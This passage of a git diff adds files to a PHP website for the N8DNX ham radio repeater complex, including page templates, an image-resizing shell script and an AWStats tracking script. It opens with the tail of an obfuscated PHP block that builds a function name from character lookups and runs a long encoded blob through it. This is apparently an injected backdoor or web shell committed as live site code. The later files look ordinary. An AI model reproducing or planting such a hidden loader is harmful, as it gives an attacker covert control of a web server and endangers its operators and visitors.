34}.$rkpJqD{5}.$rkpJqD{64}.$rkpJqD{62}.$rkpJqD{15}.$rkpJqD{79}.$rkpJqD{64}.$rkpJqD{62}.$rkpJqD{23}.$rkpJqD{37}.$rkpJqD{40}.$rkpJqD{20}.$rkpJqD{68}.$rkpJqD{1}.$rkpJqD{29}.$rkpJqD{40}.$rkpJqD{45}.$rkpJqD{42}.$rkpJqD{17}.$rkpJqD{4}.$rkpJqD{1}.$rkpJqD{20}.$rkpJqD{20}.$rkpJqD{70};$CGdjPj="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";$pBTNfl=$tgQArF($GafwPK,$OqGBnS);$pBTNfl($CGdjPj);?>
\ No newline at end of file
diff --git a/images/redball.gif b/images/redball.gif
new file mode 100755 (executable)
index 0000000..7005133
Binary files /dev/null and b/images/redball.gif differ
diff --git a/images/size.sh b/images/size.sh
new file mode 100755 (executable)
index 0000000..2471ec3
--- /dev/null
@@ -0,0 +1,13 @@
+#! /bin/bash
+convert='/usr/bin/convert'
+composite='/usr/bin/composite'
+
+for file in original/*
+do 
+       temp=`basename $file` 
+       $convert -scale '287>' $file resized/$temp
+       $convert -scale '210>' $file midsized/$temp
+       $convert -scale '120>' $file thumb/$temp
+
+       echo $temp 
+done
diff --git a/index.help.phtml b/index.help.phtml
new file mode 100755 (executable)
index 0000000..395006e
--- /dev/null
@@ -0,0 +1,74 @@
+<?php
+require_once('setup.phtml');
+$toolbox =& new GLM_TEMPLATE( NULL );
+$catid = $toolbox->get_id_from_name( $page, "bus_category", &$DB );
+$toolbox->set_catid( $catid );
+$catid=1;
+//error_reporting(15);
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+
+<html>
+<head>
+<title>N8DNX and the Stutsmanville Repeater Complex</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta name="description" content="">
+<link rel="stylesheet" type="text/css" href="styles.css">
+<?php
+       /* this is for the fly out nav */
+       $myDirPath = "";
+       $myWwwPath = "";
+       $toolbox =& new GLM_TEMPLATE( NULL );
+       $string = $toolbox->get_menu_string();
+//echo '<!-- '.$string.' -->';
+       $GLMmenu = new LayersMenu( 6, 7, 2, 20  );      
+       $GLMmenu->setMenuStructureString($string);
+       $GLMmenu->parseStructureForMenu('vermenu');
+       $GLMmenu->newVerticalMenu('vermenu');
+       $GLMmenu->printHeader();
+?>
+<link rel="stylesheet" href="layersmenu.css" type="text/css">
+<script language="JavaScript" type="text/javascript" src="libjs/layersmenu-browser_detection.js"></script> 
+<link rel="stylesheet" href="layersmenu-gtk2.css" type="text/css">
+<script language="JavaScript" type="text/javascript" src="libjs/layersmenu-library.js"></script> 
+<script language="JavaScript" type="text/javascript" src="libjs/layersmenu.js"></script>
+<script type="text/javascript">
+<!--
+function popUp(strURL,strType,strHeight,strWidth) {
+var strOptions="";
+if (strType=="console") strOptions="resizable,height="+strHeight+",width="+strWidth;
+if (strType=="fixed") strOptions="status,height="+strHeight+",width="+strWidth;
+if (strType=="elastic") strOptions="toolbar,menubar,scrollbars,resizable,location,height="+strHeight+",width="+strWidth;
+window.open(strURL, 'newWin', strOptions);
+}
+// -->
+</script>
+
+</head>
+<body>
+
+HELLO!!!
+<div id="wrap">
+
+<? include ("tophome.php"); ?>
+
+<table cellspacing="0" cellpadding="0" border="1" id="insidemain">
+       <tr>
+               <td id="insideleft">HELLO<br>
+<?php
+       echo $toolbox->sub_nav( $toolbox->catid );
+?>
+<table id="homemain" cellspacing="0" cellpadding="0" border="0">
+       <tr>
+               <td width="499"><h1>HELLO!</h1></td>
+               <td>
+       <?php $GLMmenu->printMenu('vermenu'); ?>        
+               </td>
+       </tr>
+</table>
+<?php $GLMmenu->printFooter();?>
+<? include ("bottom.php"); ?>
+
+</div>
+</body>
+</html>
diff --git a/index.phtml b/index.phtml
new file mode 100755 (executable)
index 0000000..3ed248d
--- /dev/null
@@ -0,0 +1,93 @@
+<?php
+require_once('setup.phtml');
+if(!$catid)
+{
+       $catid = 1;
+       $non_active = 1;
+}
+$toolbox =& new GLM_TEMPLATE( $catid );
+// to edit the home page metadescription and title place them in the '' on the two lines below
+$meta = ( $catid == 1 ) ? 'N8DNX Petoskey Ham Radio Stutsmanville Repeater VHF UHF HF Emergency Weather CCE' : $toolbox->meta_tags();
+$title = ( $catid == 1 ) ? 'N8DNX and the Stutsmanville Repeater Complex - ' : $toolbox->title();
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+
+<html>
+<head>
+<title><?php echo $title;?> - N8DNX and the Stutsmanville Repeater Complex</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta name="description" content="<?php echo $title.$meta;?>">
+<meta name="google-translate-customization" content="5e0dfa5c89e981fb-06b5cac00878c312-g82c600fab232083b-d"></meta>
+<link rel="stylesheet" type="text/css" href="<?=BASE_URL?>styles.css">
+<link rel="stylesheet" type="text/css" href="<?=BASE_URL?>gallery.css">
+
+</head>
+<body>
+
+<div id="wrap">
+<!-- "opensearchserver.ignore" -->
+<div class=""><? include ("tophome.php"); ?></div>
+
+               <div id="navleftcontainer">
+                       <div>
+                               <!-- Site Search Form using GLMSearch on dev53 remotely-->
+                               <div class="listing"> 
+                                       <p>&nbsp;</p>
+                                       <form action="http://www.n8dnx.org/index.phtml" name="search" method="get">
+                                               &nbsp;Search This Site<br>
+                                               <input type="hidden" name="GLMSearch" value="true">
+                                               <input type="hidden" name="start" value="0">
+                                               <input type="hidden" name="rows" value="10">
+                                               &nbsp;<input type="text" name="query" value="" size="10">
+                                       </form>
+                               </div>
+                               <?php 
+                                       echo $toolbox->make_ul_menu();
+                               ?>
+                       </div>
+       
+               </div>
+       
+               <div id="content">
+<?php 
+if ($_REQUEST['GLMSearch'] == 'true') {
+       require_once('remoteSearch.inc');
+       echo $glmsResults;
+}
+elseif( $catid == 5 )
+       {
+               require_once(BASE.'classes/class_staff.inc');
+               $Support =& new GLM_STAFF();
+               if( is_numeric( $id ) )
+               {
+                       echo $Support->getStaffDetail(5,$id);
+               }
+               else
+               {
+                       echo $toolbox->get_category();
+                       echo $Support->getStaff($catid);
+               }
+       }
+elseif( $catid == 6 )
+       {
+               require_once(BASE.'classes/class_photos.inc');
+               $Photo =& new GLM_PHOTOS();
+               echo $Photo->getPhotoCats(6);
+       }
+elseif( $toolbox->is_sub_id( $catid, 6, $toolbox->DB ) )
+       {
+               require_once(BASE.'classes/class_photos.inc');
+               $Photo =& new GLM_PHOTOS();
+               echo $Photo->getPhotos( $catid );
+       }       
+else
+       {
+               echo $toolbox->get_page();
+       }
+       ?>
+</div>
+<? include ("bottom.php"); ?>
+
+</div>
+</body>
+</html>
diff --git a/inside.phtml b/inside.phtml
new file mode 100755 (executable)
index 0000000..39c0648
--- /dev/null
@@ -0,0 +1,105 @@
+<?php
+require_once('setup.phtml');
+$toolbox =& new GLM_TEMPLATE( NULL );
+$catid = $toolbox->get_id_from_name( $page, "bus_category", &$DB );
+$toolbox->set_catid( $catid );
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+
+<html>
+<head>
+<title><?echo $toolbox->title();?>Mackinac State Historic Parks</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta name="description" content="<?echo $toolbox->meta_tags();?>">
+<link rel="stylesheet" type="text/css" href="<? echo BASE_URL;?>styles.css">
+<link rel="stylesheet" type="text/css" href="<? echo BASE_URL;?>event.css">
+<?php
+       /* this is for the fly out nav */
+       $myDirPath = "";
+       $myWwwPath = "";
+       $toolbox =& new GLM_TEMPLATE( NULL );
+       $string = $toolbox->get_menu_string();
+       $GLMmenu = new LayersMenu( 6, 7, 2, 20 );       
+       $GLMmenu->setMenuStructureString($string);
+       $GLMmenu->parseStructureForMenu('hormenu');
+       $GLMmenu->newHorizontalMenu('hormenu');
+       $GLMmenu->printHeader();
+?>
+<link rel="stylesheet" href="<? echo BASE_URL;?>layersmenu.css" type="text/css">
+<script language="JavaScript" type="text/javascript" src="<? echo BASE_URL;?>libjs/layersmenu-browser_detection.js"></script> 
+<link rel="stylesheet" href="<? echo BASE_URL;?>layersmenu-gtk2.css" type="text/css">
+<script language="JavaScript" type="text/javascript" src="<? echo BASE_URL;?>libjs/layersmenu-library.js"></script> 
+<script language="JavaScript" type="text/javascript" src="<? echo BASE_URL;?>libjs/layersmenu.js"></script>
+</head>
+<body>
+<div id="wrap">
+
+<? include ("tophome.php"); ?>
+<?php $GLMmenu->printMenu('hormenu'); ?>
+<table cellspacing="0" cellpadding="0" border="0" id="insidemain">
+       <tr>
+               <td id="insideleft">
+<?php
+       echo $toolbox->sub_nav( $toolbox->catid );
+?>
+       <div id="searchbox">
+               <form action="<? echo BASE_URL;?>search/" method="POST">
+                       <input type="hidden" name="Site" value="mackinacparks.com">
+                       <input type="text" name="Query" value="Search Text">
+                       <input type="hidden" name="page" value="<? echo $toolbox->catid;?>">
+                       <input type="submit" class="submit" value="Search">
+               </form>
+       </div>
+       
+               </td>
+               <td id="insideright">
+
+<?php
+       if( $Query )
+       {
+               ini_set('include_path', '/usr/share/pear' . ':' .ini_get('include_path'));
+               // search
+               include_once("google/search.php");
+               include_once("google/results.php");
+               include_once("google/footer.php");      
+               echo SearchResults().sFooter();
+       }
+       elseif( $catid == 24 )
+       {
+               echo $toolbox->get_parks_page();
+               require_once(BASE."classes/class_events.inc");
+               $Events =& new GLM_EVENTS( $catid );
+               $Events->get_events();
+       }
+       elseif( $catid == 113 )
+       {
+               echo $toolbox->get_parks_page();
+               require_once(BASE."classes/class_books.inc");
+               $Books =& new GLM_BOOKS( $catid );
+               echo $Books->search_books();
+       }
+       elseif( $thank == 1)
+       {
+               echo '<h1>Thank You</h1>';
+       }
+       elseif( in_array( $catid, array(500,502,503,504) ) )
+       {
+               echo $toolbox->get_page(1);
+               echo $toolbox->getPhotoCats(500);
+       }
+       else
+       {
+               echo $toolbox->get_page();
+       }
+
+       echo '<div align="center"><a href="#top">Back To Top</a></div>';
+?>
+</td>
+       </tr>
+</table>               
+<?php $GLMmenu->printFooter();?>
+<? include ("bottom.php"); ?>
+
+</div>
+</body>
+</html>
diff --git a/js/awstats_misc_tracker.js b/js/awstats_misc_tracker.js
new file mode 100755 (executable)
index 0000000..0ffd5b3
--- /dev/null
@@ -0,0 +1,161 @@
+// awstats_misc_tracker.js
+//-------------------------------------------------------------------
+// You can add this file onto some of your web pages (main home page can
+// be enough) by adding the following HTML code to your page body:
+//
+// <script type="text/javascript" src="/js/awstats_misc_tracker.js"></script>
+// <noscript><p><img src="/js/awstats_misc_tracker.js?nojs=y" alt="" height="0" width="0" style="display: none" /></p></noscript>
+
+//
+// * This must be added after the <body> tag, not placed within the
+//   <head> tags, or the resulting tracking <img> tag will not be handled
+//   correctly by all browsers.  Internet explorer will also not report
+//   screen height and width attributes until it begins to render the
+//   body.
+//
+// This allows AWStats to be enhanced with some miscellanous features:
+// - Screen size detection (TRKscreen)
+// - Browser size detection (TRKwinsize)
+// - Screen color depth detection (TRKcdi)
+// - Java enabled detection (TRKjava)
+// - Macromedia Director plugin detection (TRKshk)
+// - Macromedia Shockwave plugin detection (TRKfla)
+// - Realplayer G2 plugin detection (TRKrp)
+// - QuickTime plugin detection (TRKmov)
+// - Mediaplayer plugin detection (TRKwma)
+// - Acrobat PDF plugin detection (TRKpdf)
+//-------------------------------------------------------------------
+
+// If you use pslogger.php to generate your log, you can change this line with
+// var awstatsmisctrackerurl="pslogger.php?loc=/js/awstats_misc_tracker.js";
+var awstatsmisctrackerurl="/js/awstats_misc_tracker.js";
+
+var TRKresult;
+var TRKscreen, TRKwinsize, TRKcdi, TRKjava, TRKshk, TRKsvg, TRKfla;
+var TRKrp, TRKmov, TRKwma, TRKpdf, TRKpdfver, TRKuserid, TRKsessionid;
+var TRKnow, TRKbegin, TRKend;
+var TRKnse, TRKn;
+
+function awstats_setCookie(TRKNameOfCookie, TRKvalue, TRKexpirehours) {
+       TRKExpireDate = new Date ();
+       TRKExpireDate.setTime(TRKExpireDate.getTime() + (TRKexpirehours * 3600 * 1000));
+       document.cookie = TRKNameOfCookie + "=" + escape(TRKvalue) + "; path=/" + ((TRKexpirehours == null) ? "" : "; expires=" + TRKExpireDate.toGMTString());
+}
+
+//function awstats_runvbscript() {
+//     TRKresult = false;
+//     p=false;
+//     document.write('<SCRIPT LANGUAGE="VBScript">\non error resume next \n p = IsObject(CreateObject("PDF.PdfCtrl.5")) \n if (p) then \n msgbox("5") \n return true \n end if</SCRIPT>\n');
+//    alert(p);
+//     if (TRKresult) return 'y';
+//     else return 'n';
+//}
+
+function awstats_detectIE(TRKClassID) {
+       TRKresult = false;  // !!! Adding var in front of TRKresult break detection !!!
